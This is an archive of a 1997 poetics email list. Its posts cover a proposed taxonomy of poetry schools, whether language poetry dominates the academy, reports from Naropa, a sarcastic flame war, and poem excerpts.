I think I've said about all I had to say about my off-handedly calling language poetry "acadominant." It remains my impression that it is. I'm sympathetic to the arguments of Mark Presjnar and others against my impression--but do wish Mark would stop calling my impression absurd or silly or "obviously gratuitous"; it might well be wrong but it's not absurd or silly or obviously gratuitous.

Here is my last formulation of the basis for my impression:

To me it seems like SUNY, Buffalo, is in
poetry what Caltech and MIT are in science, and
the many other liberal arts colleges not dominated
by lang po are like engineering schools. Ergo,
lang po is
acadominant in cultural prestige though not numerically
or economically (probably the Romantic Poetry School
is economically better off than either the lang po or
APR school). I consider this a compliment to lang po.

My impression, too, is that the critical accompaniment
to lang po is to the critical accompaniment to APR poetry

> as calculus to arithmetic. It thus necessarily makes lang po seem more academic than APR poetry--again, a compliment, because I'm really saying that lang po is more seriously discussed than APR poetry,

Now to the main issue, my list of schools. What follows is an excerpt from a reply I just made, pretty much offhand, to a back-channeler's wondering why I bothered with a "boringly academic" list of schools.

1) If I were you, I'd feel rather good about the specialness of what I was doing if there were a list of the kinds of poetry being done out there, and my poetry wasn't on it. The list, in other words, could be used to confirm innovation.

(2) For me, another poet, finding out that you're doing something not on the list, would to be very exciting. Maybe you've invented some technique, or found some subject, that I could use in my own poetry.

(3) As a critic, too, I'd want to know what you were doing "off-the-list" because it might illuminate what other poets are doing that are either similar or in contrast, and because--as a critic--I would want to feel I was covering everything extant. A standard List of Poetry Schools would make unlist poetries stand out, and would encourage people to call those poetries to the attention of critics, English professors, etc. Just like a bird-watchers guide.

(4) If it turned out your poetry DOES fall into some school, I should think you'd want to get in touch with others doing the same kind of poetry. Maybe they're doing things you aren't that could help you. Maybe they have publishers who'd publish you if they knew about you. Identifying poets by school would certainly make this easier.

(5) Similarly, as just a reader coming across work by a poet you expecially liked, your being able to identify poets by school would facilitate your finding others doing the same kind of thing.

(6) Any way of defining a kind of poetry such as assigning it to a school inspires debate on the concrete attributes of the poetry under consideration. That leads to knowledge, which is a Good Thing. I know there are many who claim to believe that knowing anything more about a poem than that you like it is a terrible kind of decadent scientism or something, but that's rubbish--and they don't really believe it, for they can all be caught using reductionist terminology like "rhythm," "imagery" and even "poem" in speaking of their favorite poems.

Along those lines (but not nearly as foolishly) you argue that no categorization of a poem can be as vital as the poem. Answer: of course not; but categorization's function is not to replace poetry but to lead to it, and to help make it discussable.

Any classificatory system of poetry (or anything else) will no doubt have flaws, as you point out, but that is no argument against it, just an argument never to accept any classificatory system as final, and to continually point out its flaws and work to improve it.

A classificatory system will also be abused, but that's the fault of the abusers, and those who let the abusers get away with their abuse, not the system. That someone might compose poetry that fits no school on my list, and thus get left out of the catholic anthology I dream of, is inevitable. But it'd be much less likely, in my opinion, if a concerted effort were always underway to keep a well-known list up to date than it is now, with no such list extant. And certainly such a poet would be no worse off if a list were extant than he would be now.

****So much for my Informal Defense of Poetics Classification****

Thanks again to all who have helped with my list,
Bob G.

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247. Douglas Barbour
Re: The American poets of TIME
Wed 9 Jul 1997

Ron Silliman mentions Time's cover story on American poetry:

<<Time Magazine (and its companion Life) is not a bad thumbnail index of official culture, esp. in the 1936-70 timeframe. I don't know what they thought of Stevens or WCW, but they did do a special issue on poetry (not a "single author" job like the recent Robert Hughes deal on the visual arts, which was too hokey and shallow for words, but did have some nice illustrations) in 1964 that had Robert Lowell on the cover. It would be worth it to look up that particular issue and report back what it said of Verse.>>

And Guy Davenport wrote a very funny, very sad, brilliant riposte, which appears in his wonderful _The Geography of the Imagination_, in which he points out a number of very fine, 'important' poets Time had never heard of, as it raised Lowell to his place in the poetic heavens...

==========
==========

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]

H: [redacted]
~~~
~~~

249. **Michel Delville**
Langpo and the academy
Wed 9 Jul 1997

Mark: I was referring to a number of **discourses** that are dominant in the academe at large and, more particularly, in the U.S., which is undoubtedly the biggest world-wide consumer of so-called French or Continental theory . . . It still seems obvious to me that theory came first and forced a change in the practice of many poets associated with Langpo. Of course, most creative writing programs have not quite adjusted to the age of theory but then again their concerns are not really representative of what's hot in the Humanities today . . . Also, it would be misleading to see this debate over Langpo's collusion with theory and/or the academy exclusively in terms of how many jobs have been offered to Language poets.

> *On Tue, 8 Jul 1997, Michel Delville wrote:*
>
> *socio-cultural practices. The list could go on and on forever . . . To pretend that this has nothing to do with the entrance of U.S. colleges into the intellectual life and creative pratices of poets is simply absurd.*
>
> *Sorry but the the general arguments of your post, Michel, strike me as somewhat more absurd....*
>
> *Most of the poetic tendencies that are seen as alternative to LP (deep image type stuff, the generlized plain-spoken "I" free-verse lyric of APR, etc.) are **far more** anchored in the academy, and dominant there, than is LP.*

Michel Delville
English Department
University of Liège
3, Place Cockerill
4000 LIEGE
(BELGIUM)

Fax: ++ 32(0)4 366 57 21
e-mail: [redacted]

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250. **Bob Grumman**

Re: A list of Poetry Schools

Wed 9 Jul 1997

Here's the latest report from The Port Charlotte, Florida, Poetic Taxonomy and Schoolification of Poetry Center.

The acadominance discussion that's developed as a side-thread seems to continue to generate buzz. While I sympathize with Mark Presjnar's protest of my impression that language poetry is acadominant, I wish he wouldn't call my impression "absurd" or "completely silly" or "obviously gratuitous." My impression might be wrong, but it's not absurd, silly or obviously gratuitous.

I haven't anything new to say on the subject, but want to repeat what I think I've been saying in one final formulation:

To me it seems that in poetry SUNY, Buffalo, is to the APR-dominant liberal arts universities what MIT and Caltech are in science to the engineering schools--not dominant in number or even in money but in prestige. Who really takes APR poetry seriously?

I also believe that the critical accompaniment to language poetry is to the critical accompaniment to APR poetry what calculus is to arithmetic--which, for better or worse, makes language poetry seem more academic than APR poetry. Again, it is simply taken more seriously (as, in more than a few cases, it ought to be.)

Now to an excerpt from a letter I wrote a few hours ago to someone on the list who'd asked me back-channel why I was bothering with so boringly academic a matter as my list. It summarizes why I think the list a good idea.

(1) A would-be innovator could check such a list to see if any of the schools on it covered his work. The list, in other words, could confirm innovation--or keep one from making a fool of himself by erroneously claiming to have invented something he hadn't.

(2) A standard List of Poetry Schools would make off-list poetries stand out, and would encourage people to call those poetries to the attention of critics, English professors, etc. Just like a bird-watchers guide.

(3) The list would help on-list poets find others in their school, which would have to be helpful.

(4) Similarly, a reader's being able to identify poets by school would facilitate his finding others doing the same kind of thing as some poet he particularly liked.

(5) A thorough list would keep tenth-rate anthologists or critics from incorrectly claiming to have covered the full range of poetry--or even the full range of some large category of poetry like "post-modernist poetry." And it would help responsible anthologists and critics keep up-to-date.

(6) Any way of defining a kind of poetry such as assigning it to a school inspires debate on the concrete attributes of the poetry under consideration. That leads to knowledge, which is a Good Thing. I know there are many who claim to believe that knowing anything more about a poem than that you like it is a terrible kind of decadent scientism or something, but that's rubbish--and they don't really believe it, for they can all be caught using reductionist terminology like "rhythm," "imagery" and even "poem" in speaking of their favorite poems.

It is of course true that any poem is more vital than any category it could be put into; but categorization's function is not to replace poetry but to lead to it, and to help make it discussable.

Any classificatory system of poetry (or anything else) will no doubt have flaws, but that is no argument against it, just an argument never to accept any classificatory system as final, and to continually point out its flaws and work to improve it.

A classificatory system will also be abused, but that's the fault of the abusers, and those who let the abusers get away with their abuse, not the system.

That someone might compose poetry that fits no school on my list, and thus get left out of the catholic anthology I dream of, is inevitable. But it'd be much less likely if a concerted effort were always under way to keep a well-known list up to date than it is now, with no such list extant. And certainly such a poet would be no worse off if a list were extant than he would be now.

I have no more to say right now, and--interesting in the list apparently ebbing rapidly--I'll probably not add anything to this thread until I post the next version of my list, which won't be for a while. My thanks to all who sent me comments. --Bob G.

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251. **Bob Grumman**

Another Damned Oooops.

Wed 9 Jul 1997

Carumba, my revisit to my list of poetry schools took so long to get posted, and I had had so much trouble keeping track of letters I was referring to in writing it, I was sure I'd accidentally trashed it. I couldn't find it in my Sent Box, either.) So I rewrote the whole stupid thing. And now I'm wasting one of today's fifty slots with an apology for the second posting. (On the other hand, you

Grummanologists out there now have a terrific opportunity to see how my outlook changed between the first version and the second.)

--Bob G.

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252. robert drake
Re: Bob Grumman's list poetic schools / Is Langpo acadominant?
Wed 9 Jul 1997

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mark--

as i was relating th recent discussion to my partner last night, it came out this way: Bob's focus, as a critic, is primarily on visual poetry & other "experimental" forms that are, generally, even less accepted into "academic" discussions than are LangPo... so it may be that, from his perspective, LangPo has been wildly successful at making inroads into the acadamy; while folks (such as yrself? or ron) closer to th movement are more aware of the lack of such inroads, especially in face of the merits ov th work. so if it's the case, that's interesting to me... & again, my comments have been aimed, or intended, at sussing out th genesis of these various perspectives, not defending their "objective" accuracy... i'm sceptical ov objectivity in general, but thats a different thang altogether... so i suppose one's view of the "place in society" of a particular poetic practice is dependent on your own placement, and as such is variable? (& praps "community", ov which there are many, wd be a more useful term than "society"?.. certainly those hoping for a monopoly on culture [--let's drop Helen Vendelar's name again as th Wicked Witch--] wd rather posit a singular society, w/ themselves controlling th gates... oh, no, there i go again, a whole new kettle of worms...)

but to take up th social placement thang just a bit: it still seems to me that the examples you cite (deep image, the plain-spoken "I" free-verse lyric of APR, aswellas LangPo & others) are all "situated" (or situate themselves?) in relation to th same cultural context--accepted into, or assailing, the traditions that get taught as Offical Verse Culture... obviously, some have been more successful at gaining acceptance; and, as sed, i think Bob overestimates the success of LangPo at making inroads. but that still seems to be the aim--as evidinced, among otherthings, by complaints by LangPo partisans about th lack of official acceptance... (this _is not_ a criticism, btw, and let me restate that i'm trying to describe an extant situation, not prescribe a desirable one.)
and that's in contrast to, (to some extent at least, or fr some participants) the MailArt movement, and relatedly some ov th work that most engages my & bob g's attentions--John M Bennett's _Lost & Found Times_, as one example/locus--

stuff that either despairs of or rejects the prospect of integration into th mainstream of academically accepted "literature"...

relatedly, i'd point to a difference in social placement around (inside or outside, but defined in relation to) the Official Verse Culture of the (capital-L) Literary canon; and the Spoken Word "movement" exampled in Slams, the NuYoRican Cafe, and MTV-targeting poets... these later seem to be defined/define themselves more in relation to Mass Culture, rather than High Culture... & despite various overlaps amongst practitioners & practice, i think that's a significantly different arena...

(i was glad fr rons comments, re the impetus behind the theory aspects of his project, & it reinforces my sense that such praxis is/was integral, and not just a tactic)

enuf fr now, more later
lbd

On Wed, 9 Jul 1997, Mark Prejsnar wrote:

> *The contrast between my snipe at Michel's posting, and what Mark W. says in the bit quoted at the top here, gets at some of the reason for my apparent disagreement with a number of folks on this issue....I'm thinking about the **social placement, or siting** of poetry as an institution. Others are thinking about the fact that the LangPotes were strongly shaped by Derrida and other related theory--and that much of their practice is consequently somewhat familiar to and congenial to academix of that persuation.....In part, I'm just talking about something elese...But I return to the fact that Bob's "acadominent" (or whatever it was) label is just completely silly..It implies a mainly acadmic character for LP. How can this be when, as a social practice, most competing schools of US poetry are **so much more** dominant in academe, and dominated by their character as acadmic practices (supported by grad writing programs, sustained by university-sponsored literary mag's etc.)??*

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253. **David R. Israel**

Re: Bob Grumman's list poetic schools / Is Langpo acadomina

Wed 9 Jul 1997

Mark Prejsnar writes:

> *....I'm thinking about the **social placement, or siting** of poetry as an institution. Others are thinking about the fact that the LangPotes were strongly shaped by Derrida and other related theory--and that much of their practice is consequently somewhat familiar to and congenial to academix of that persuation.....*

This nicely brings into focus a basic issue of taxonomy: is such a list intended as a description of the poetry qua poetry, or is it descriptive of the status of the writing / writers within social groupings (etc.)? -- to think of an analogy from natural sciences, is a school (species) defined by its evolutionary origins (here, the nature of the thought & expression that it expresses), or by its environmental placement (here, how it's received, and what evolves from that reception or non-reception)?

Are we considering (a) what's included (what culture) within the text?, or (b) how the text has happened to flow into the stream of culture?

This issue of the basis of taxonomy is relevant not only to the LangPo facet of Bob's list. It is relevant -- probably to nearly every category. I've had some questions or quibbles w/ other parts of that draft list for reasons related to this. For instance, is John Ashbery really mainstream? When exactly did he become so? Does calling his work mainstream reflect on the nature of the writing qua writing, or merely on the fact that he has managed to make a good name for himself and to become accepted in (the perceived) establishment? So: how important is the transitory phenomenon of an illusory (from one vantage) establishment in our understanding of the nature of the writing (on, as they say, its own merits)?

One other thing: what about historical change? -- for instance, once upon a time Gary Snyder would have been squarely placed in with the Beats (if you'll allow that turn of phrase). When did the Ecology School (or whatever it was called) get defined? Does this reflect a change in his writing, or is it more related to his extra-poetic activities? etc. etc. -- I'm not looking at the Bob G. flowchart in any detail right now, but merely mentioning a couple of points -- I think kindred questions are applicable to most of the categories.

That said, it's an interesting procedure to try to sort out . . .

cheers,
d.i.
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.....,
.\\\\\\\\\\\\\\\\\\\\/\0/\/////////////////////.....'
.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o....'
.///\\\\\\/////////\/\\\o///\/\\\\\\\\\\/////\\\.....'
.David.....Raphael.....Israel...'
[redacted]..'
[redacted]....'
.*.*.*.*.*.*.*.<0>.*.*.*.*.*.*.*.....'

"...Real life consists of making.....'
others happy. So try to make.....'
others around you happy. Do.....'
not be afraid. All will be well.....'
Do not worry." - Meher Baba.....'
[Lord Meher, Vol. V, p. 1617].....'
.\\\/////\\\\\\\\\\/\///&\\\/\/////////\\\\\\//.....'

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254. **Mark Weiss**
Re: Bob Grumman's list poetic schools / Is Langpo acadominant?
Wed 9 Jul 1997

---

as a social practice, most competing schools of US
>poetry are **so much more** dominant in academe, and dominated by their
>character as acadmic practices (supported by grad writing programs,
>sustained by university-sponsored literary mag's etc.)??

Well put.

> *And another thing: it is really a problem, this hand-wringing focus on Derrida and deconstructionist influences..At least as important in shaping most of the articulate theory-type LangPotes is the influence of Brecht (that musty ol' perfesser)...The idea that social reality and therefore poetry are *unfinished* until the reader/social actor make a major contribution, is the single most important item in the LP theoretical toolkit.*
>
> *Mark P.*

I didn't think I was wringing hands. Perhaps those who do think that awareness of the reader's contribution to the poem is hardly peculiar to Language Poets, although it may be beyond most AWP types.

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255. **Pritchett,Pat**
Re: Naropa/Unity
Wed 9 Jul 1997

I've been out of the office for a few days (painting the kitchen of yet another apartment I do not own - a great way to test the torquing power of one's marriage and yes we are still in love), so in the process of scrolling through the umpteen messages from the list I missed who the original poster of the message was which Jay excerpts below. Got no problem with anyone's quibbles - these reports of mine from Naropa try to occupy the narrow, politic and uneasy

ground between mere reportage and critical description - with the net result of making me appear something of a Naropa cheerleader. I don't attend the school, though, nor am I a grad. I had a definite anti-Naropa chip on my shoulder when I first moved here, formed in part - mistakenly - by Tom Clark's infamous but very entertaining little book about the school of scandal run here by Trungpa. But I would agree that Naropa seems to have gone the route from being a school for the marginal to something more institutionalized, as must be inevitably the case when a school has been around for 20 years. Though, of course this is mere suppostion - I wasn't around in its woolier days. Still, it's a great place to hang out and one of the very few things of its kind in the country. I no longer take it for granted.

I hope to send the List reports on some of the readings I made it to, incld. Lorenzo Thomas's and Lisa Jarnot's (wow). Tomorrow, the show closes with a reading by (among others) Ronald Johnson.

A P.S. to Henry Gould, if this issue is still of interest. The idea that "art is to hide art" is best addressed for me by this Beckett quote (from a Paris Review piece in 1977):

"The confusion... is all around us and our only chance is to let it in. The only chance of renovation is to open our eyes and see the mess... There will be new form, and... this form will be of such a type that it admits the chaos and does not try to say that it is really something else."

This would seem to include much of what's been happening on the innovative front.

Patrick Pritchett

From: Jay Schwartz
To: POETICS
Subject: Re: identity, and other excresences
Date: Tuesday, July 08, 1997 3:20PM

>
> Finally, I'm sorry indeed to have missed Kevin's impersonation of Anne
> Waldman in my brief descent upon Naropa this last weekend; I'm sure I
> would have been on the ground. Thanks for your reports, Patrick -- even
> though I have some minor quibbles with your reportage, I can safely say to
everyone that Naropa has, in fact, finally gone legit in a big way.

As a fairly recent Naropa grad, I would love for you to expand on this impression of yours, both your sense of what constituted illegitmacy and what has changed. Also, your sense of the timeframe in which this may have occured.

Jay

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256. Robert Archambeau
Nathaniel Tarn Gone Missing
Wed 9 Jul 1997

Curses. A terrible fate has befallen my copy of Sparrow #67 (April 1978), the Black Sparrow Press single-author pamphlet, this one containing Nathaniel Tarn's "Birdscapes, With Seaside". I lent it to a student, who managed either to lose it, or destroy it and pretend to have lost it. So -- does anyone out there know where I can get a copy? Failing that, is anyone willing to help me violate copyright law and photocopy one for me?

Grumbling outside Chicago,

R.A.

--
Robert Archambeau
Department of English
Lake Forest College
Lake Forest, IL 60045
http://www.lfc.edu/~archamb/

See: behind bullet-proof glass, the ruby slippers sparkle.
We do not know the limits of their powers.
We suspect that these limits may not exist.
--Salman Rushdie

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257. Tom Orange
water's fine here...
Wed 9 Jul 1997

---

eliza asks of me:
>come off of that "i'm being impartial" pose unless you are willing to
>extend the same critical eye to both parties. you've made it very clear
>so far that you are not...

i have been very up front all along abt my inability to be impartial. i have also acknowledged your position as a recipient of unfair/unwarranted attacks. short of reposting and analyzing all of the eliza/kim exchanges -- i dont see where this would be beneficial to anyone -- i have entended my critical eye to both parties. i think kim's reading of and responses to your posts -- have i not said this? -- was wrong. plain enough.

we disagree over how wrong: i say wrong, you say wrongest most heinous most insidious bizarre ruthless most vicious to date and on and on and on.

further, we disagree over who is more judiciuosly extending their critical eye to both parties. i think i have been, and i also think you refuse to even consider let alone address my suggestion that your language contains potentially dangerous logic as well. if you dont wish to, fine, we can disagree over this too.

> *and no, there is not some conspiracy of computer surveillance extended across national borders and that you'd speak as if it were a settled thing in that tone only points up more painfully clearly the rhetorical technique i am beginning to fear is becoming standard issue up in UWO. whenever a request comes in to take self-responsibility and acknowledge misdoing, a salvo of wild accusations against requester is sent out.*

first, when have i not taken *self*-responsibility? i've already said that while i acknowledge kim's misdoings i'm not in a position to take responsibility for them, analyze them or apologize for them b/c they're hers not mine. second, when have i spoken of this as a settled thing? it's clearly not settled, therefore i continue to speak.

and third, conspiracy theories are hardly my hobby horse, but let me try to make sense of this. i don't know who this kim dawn person is, she attacks hurts and frightens, she may be a flamethrower. i use the unix 'finger' command and see what that tells me. i get "several conflicting results" (what does this mean eliza?). ok then, i do an altavista search, and what do i find? the very first hit produces:

CyberKinky WebSite - Kim And Dawn Kim And Dawn. 30 Minutes. These two are best friends who decided to do a video together. This is real amateur video shot in a bedroom with a handheld... http://www.graphicad.com/pubsampl/hfront/rev/rev02.htm - size 3K - 23.Feb.97 - English

hmm. kim dawn, kim and dawn. coincidence? naw, can't be. no, no, it's in fact the best evidence for identity i can find! and it's the best evidence because it fits in so perfectly with all my doubts and fears. so i post the filmtext from this site in an effort to identify, contain and with any luck silence and eliminate that which i perceive to be a threat.

nope, no dangerous logic there. i guess we disagree on this too.

t.

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258. David Bromige
Beckett on Art, 1977
Wed 9 Jul 1997

Pat, thanks for your reports from naropa & particular thanks for posting these 4 lines from the Beckett statement. I know they had wide currency among a number of the poets I've hung out with, & many I havent, but read & continue to read. (I think Coolidge cites the statement with approval someplace : "Finding a form for the mess" (?)) Somewhere i wrote in a poem "Finding a mess for the mess." Yes, it makes sense to read much contemporary writing by this light. Not that sd writing stems necessarily from the Beckett statement, but that--as so often--Beckett articulates what's "in the air", shows us "where we're coming from." Looking for & headed towards,, likewise. David

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259. Bennett M. Sm [Dimpson
Et puis encore
Wed 9 Jul 1997

Could someone please send me that vitriolic letter Kent Johnson posted on Eliot Weinberger's behalf (does it still exist?)? Or was I hallucinating things? I deleted everything that week, but I think I want to now try a different approach (less turbulence, new pilot). If something is made public once, does it remain public the second time around? Backchannel is fine and probably warranted. Does Jonathan Rosenbaum (the film critic from Chicago) have any books other than _Placing Movies_? Poets. Careers. Divergence.

Bennett

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.
[redacted] &c.
&c.
&c.&c.&c.&c.&c.&c.&c.&c.

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260. KIM DAWN BAKER
untitled
Wed 9 Jul 1997

---

i misread eliza s post way back when. i recognize this. it was an honest mistake and i take claim for making that error. i dont need tom or anyone else to defend me. though i respect his efforts. i dont feel particularly victimized on this list

whatsoever. i have received a lot of feedback on my prose writing and theoretical inqueries backchannel and otherwise. kimdawn

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261. **aerialedge**
some business
Wed 9 Jul 1997

Sorry to use the list for this but need current locations for three individuals: Hank Lazer, Robert Mittenthal, & Jed Rasula. Please.

Also I'd like to recommend another K.D. to the listees. That being Mr. Kevin Davies, author of _Pause Button_ and _Thunk_. If I might excerpt just a bit from "Throb (Claymation Kakistocracy, or)" which appeared in _Boo_:

Cosmic junk fish or something.

The comedy of the paragraph of the landscape of the hunger of it.

The American Dream's a pyramid scheme, reborn every minute.

Years of training,

will there ever be an end to these flashcards?

I would _gladly_ trade bodies

Will fuck for books, no weirdoes

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262. **Jordan Davis**
Re: water's fire here...
Wed 9 Jul 1997

Tom Orange --

First off -- I will apologize for the effort to be clear in this post, even as I acknowledge first that I am only occasionally capable of effort and second that I know neither what people imagine they're not ignoring when they claim that they're being clear nor what people mean when they say they don't know what clarity is -- first, Tom -- this is an Olsonist list. I seem to remember conflation of identities to be a big trope for Olson, especially in the first volume of Maximus. As every single post should have begun, "Who is Frank Moore?" or for that matter "Who is Nancy Daum?"

To paraphrase (that is, to pretend to be the Marshall) -- Damon, Loden, Bowering and Bromige were posting their apparently benign parodies of the staid inclubbishness of this let's say it nebbishy list. It's my understanding that of the

sex-toy/innuendo posting poets, very few have met f2f. So what! Jay Schwartz posted a note to the effect of: less of this arch sex writing please. At the same time, a private note thanking Charles (B. one assumes) for a recommendation was posted to the list. Kim Dawn posted her note -- addressed to Jay -- to the list. Doug Barbour and I both cleared our throats. Hoa / Dale defended Jay. Dodie spoke up, defended Jay / Hoa / Dale. Kim replied (defending herself and citing Acker). Stephen Elwood, alias Emily Vey Duke, arrived, ostensibly to support Kim. Tom Orange stepped in. Somewhere in all this, Eliza posted a note, ending with a June Jordan poem. Kim responded, attributing the Jordan poem to Eliza. Misattribution, though -- can we call that misreading? Throughout, David Israel, Aldon Nielsen, David Bromige, Tom Mandel, Mark Weiss and Henry Gould were posting.

This is all, if I remember correctly (and I'm going to admit that I'm not peeking at the archives) before Kali and Joe intervened.

Meantime, both Kim and Jay have preferred to talk about other things, I think.

Identity, Deleuze/Guattari wrote in Anti-Oedipus, is something like a point travelling over the surface of an egg (!). Once again, I'd like to clear my throat along with Doug Barbour and ask that the 'virtual offence' be acknowledged here. At first I thought that it was Jay (whom I've never met) who would be offended, but the offense has been taken by Eliza. When Kim attributed June Jordan's poem to Eliza, she made her seem not as though she (Eliza) were citing a text, but as if she were presenting her own narrative -- narrative, identity, ugh. If Kim has already apologized for the error, then shouldn't the matter be dropped? Claims to objectivity (or their doppelgangers, the recusancies) are mythological claims. I like Rilke as much as the next cat-shaped eraser climbing out of the shotglass, but I also know what to do when among people who refuse to acknowledge right and wrong as categories -- I cut them off. So in that way, I see it as being like a bar -- but in that way only.

Good luck,
Jordan

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263. L. MacMahon and T.R. Healy

poem

Wed 9 Jul 1997

Here's a 1-calorie slice from a work in progress. It's all supposed to be centred, but there you are,

Randolph Healy.

****

Flame
I

friction
percussion
hidden inside trees
four men walking
two side posts an upper door post
in his right hand seven stars
algor rigor
livor
voices rarely
ascending or descending together
contraries
finding unfathomable spaces
around which grammar
whose frozen breath
shapes no shapes
punctus contra punctum
rods firing under change in intensity
constructing an edge
the straight line as curve of zero curvature
ó ghlúin
an effect of scale
permanence
having pulses
zero a simplicity
straining to catch
barely audible improvisations
escaping the gaps
between angle and try-square

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264. Matthias Regan
Re: Brecht / Derrida
Wed 9 Jul 1997

Jordan D --

Thank you for the clever & insightful post (below)! Well wrote! I have about 2 questions: what would be the next level of details (magnification x10) in your description of Langpo forming "independently of but sympathetically with Theory" Who in your conception are the major players at this time?

What forms parallel to what? What gets called "bad writing"? Who's levelling this against whom?

I would also like to point out the sheer brilliance of

the non-Brechtian graduating classes of 87, 92, 97
verybody retrenches in a shaky self-conscious consumerism.
the part about the grapes

best,

Matthias

At 09:31 AM 7/9/97 -0400, you wrote:
>Mark P --
>
>Yeah, I always heard more Brecht than Derrida in the Tree of Equals Signs.
>This is because I take the enfranchisement of gimme a T for Theory gimme a
>D for Discourse in the academy -- TouchDown! -- to be a parallel
>development to the near-total hostility to/from the New York School of
>Language Poetry, one of those 'asymptotic' deals you get so much in the
>poetry of the non-Brechtian graduating classes of 87, 92, 97 -- when's the
>movie coming out? That is -- Language Writing gets formed independently of
>but sympathetically with Theory. Then Theory morphs into cultural studies,
>it all gets called 'bad writing' will-I nil-I, and everybody retrenches in
>a shaky self-conscious consumerism. Cool! Meanwhile (and to near-total
>hostility) a few Languge Writers (poets? prose writers? critics? I don't
>know much about criticism, but I know what makes me anxious) finish their
>dissertations and despite a needlessly brutal job market, find work
>teaching. Again, cool! _Wish them well_. An economy that is doing so well
>-- we'll see them go past 8000 today -- without appreciable distribution
>of those gains -- are you better off etc == can only get so far by
>squishing every last grape of thought. Well that's a stupid image. But one
>should rather think of them, the acadominated, as brave employees, much as
>one thinks of say, Wallace Stevens dictating sonnets, savoring _privately_
>any oxymoron one may care to notice.
>
>Manchester United,
>Jordan
>
>

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265. **dbkk**
Re: water's fine here...
Wed 9 Jul 1997

TOM ORANGE (if you do indeed exist):

How dare you criticize a WOMYN in this public arena. You must be a white racist misogynistic defender of hegemony. With any luck we *will* silence and eliminate you!

Dodie

↑ Index

266. **Charles Alexander**
Re: re - 'neologism'?
Wed 9 Jul 1997

> *Such instances pepper our poetries in these times. Why? What drives them? What are the political and cultural imperatives at work?*

I imagine these imperatives are as multiple as the people doing such work. When such creep or storm into my own work, they are sometimes in part the attempt to say the unsayable. They are sometimes a protest against normative language restrictions, they are sometimes a barbarian yawp, they are sometimes based on existing words, either breaking down into component sounds/parts, or in process of forming such sounds/parts, on their way to becoming whole and recognizable words. Sometimes they are simply there for the physical joy of throat and lips and tongue and cheeks and mind of pronouncing the unfamiliar -- related to the pleasure I get in reading Old English aloud. Sometimes the intention is much more specific and musical -- precise consonants and vowels to move the music. And in most instances the motivations are quite mixed.

charles

chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision handmade and trade editions of contemporary innovative writing [redacted] :: http://personal.riverusers.com/~chax/

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267. **Charles Alexander**
Re: ashbery/dewey
Wed 9 Jul 1997

> *And the worst thing about the initials DB are how phallic they look in lowercase.*

why is this the worst?

I can vouch for the truth that lower-case "d" and "b" are often confused by hand typesetters. They are close to each other in the conventional type drawer (called "California job case"), and they are reversed from right to left. I was told, when I first learned letterpress printing, that the phrase "Mind your p's and q's" came from typesetters, and that it was originally "Mind your p's and q's and b's and d's."

But the b's and d's of this list obviously aren't minding anyone. Well, nevermind.

charles

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268. Tom Orange
water's finer here
Wed 9 Jul 1997

---

jordan davis: appreciate the survol. tho what abt that d/g egg metaphor, puzzling no? perhaps i will go back and have a look and see what can be made of it.

dodie bellamy: "under these circumstances i have a duty against which my habits, even more the pride of my instincts, revolt at bottom--namely, to say: _hear me! for i am such and such a person. above all, do not mistake me for somone else." (nietzsche, tr. kaufmann, preface to _ecce homo_)

death and silence to white male misogynists of the hegemonic order! (including herr nietzsche.)

(signed,)

tom orange

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269. Alan * Sondheim
http://www.thing.net/lusitania (fwd)
Wed 9 Jul 1997

Being On Line is now the feature on the Lusitania (publishers) Web Site - you can find this at http://www.thing.net/lusitania

The site is a bit awkward, but I take no responsibility :-)

It will give you a taste of what the book's about. You can also order it, of course, with the information provided.

For those who don't know, I edited Being On Line, which includes material from the Cybermind, Fop-l, Design-l, and Future Culture lists, as well as a lot of other cultural/art materials.

(Honestly, I can write better copy than this... if you only knew... alas...)

love, wry Alan, w/ toast, still unbuttered (alas...)

URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR with other pages at: http://www.anu.edu.au/english/internet_txt IMAGES: http://www.cs.unca.edu/~davidson/pix/ TEL [redacted] EXPERIMENTAL (on and off): http://166.84.250.149 Editor, BEING ON LINE

↑ Index

270. Charles Alexander
Re: contemporary american poets (fwd)
Wed 9 Jul 1997

> *My name is Rodrigo Garcia Lopes, and I am a Brazilian poet and translator. Presently, I'm doing my PHD on contemporary poetry here in Brazil and focusing on the works of laura riding, lorine niedecker, and mina loy. I would like to know how can I get information about these poets. Is there any discussion groups on these names?*

All of these have been discussed on this list at one time or another during the past couple of years, although perhaps not at great length. Still, I should think that if you post thoughts or questions or issues concerning them here, you will definitely get responses.

http://www2.cruzio.com/~williamr/ is a site which gives information about, including the complete introduction from, Carolyn Burke's bio of Loy.

http://shc.stanford.edu/sed/Mina.Loy.html is a kind of Mina Loy home page, but it's not exactly full of critical information.

There are some other bits on Loy on the web, too. I haven't searched the web for Niedecker and Riding.

charles
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handmade and trade editions of contemporary innovative writing
[redacted] :: http://personal.riverusers.com/~chax/

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271. Matthias Regan
Re: Langpo and the academy
Wed 9 Jul 1997

Michel Delville wrote:

> *It still seems obvious to me that theory came first and forced a change in the practice of many poets associated with Langpo.*

I tend to agree, or would like to. So I will ask the same question I asked Jordan a moment ago:

as you see it, who is reading what? When, exactly?
There are the Marxists and structuralists and feminists and existenialists post-structuralists, post-colonialists, etc, etc.

What schools followed what schools?

Please tell me what you think!

Matthias

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272. Mark Weiss
(no subject)
Wed 9 Jul 1997

As a white male misogynists of the hegemonic order I'd lioke to protest the constant insult and inuendo hurled at those of my kind. We're an easy target because we're so visible up here, but that's no excuse for hurtful behavior.

I've spoken to David Rockefeller about this, and he agrees. I wouldn't count on getting a mortgage any time soon.

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273. Eliza McGrand- CVA Guest
dear white male hegemonistic mysogynistsss
Wed 9 Jul 1997

---

we're on to you, all of you, and your flunkies running dog lackies and even that little dog of yours... what was it's name...

yes, YOU

D avid B romige
D oug B arbour
D odie B ellamy (thought you'd fool us with the old gender mask trick...)
D an B ouchard

ha HA! you're unmasked!
e

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274. Robert Kendall
"Writing between the lines"
Wed 9 Jul 1997

Does anyone know if the formulation "Poetry is the art of writing between the lines" has appeared in print anywhere?

Robert Kendall
e-mail: [redacted]
home page: http://www.wenet.net/~rkendall

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275. Daniel Bouchard
Re: dear white male hegemonistic mysogynistsss
Wed 9 Jul 1997

It's worth than that Elliza. My ancestors are all Canadians.

- db

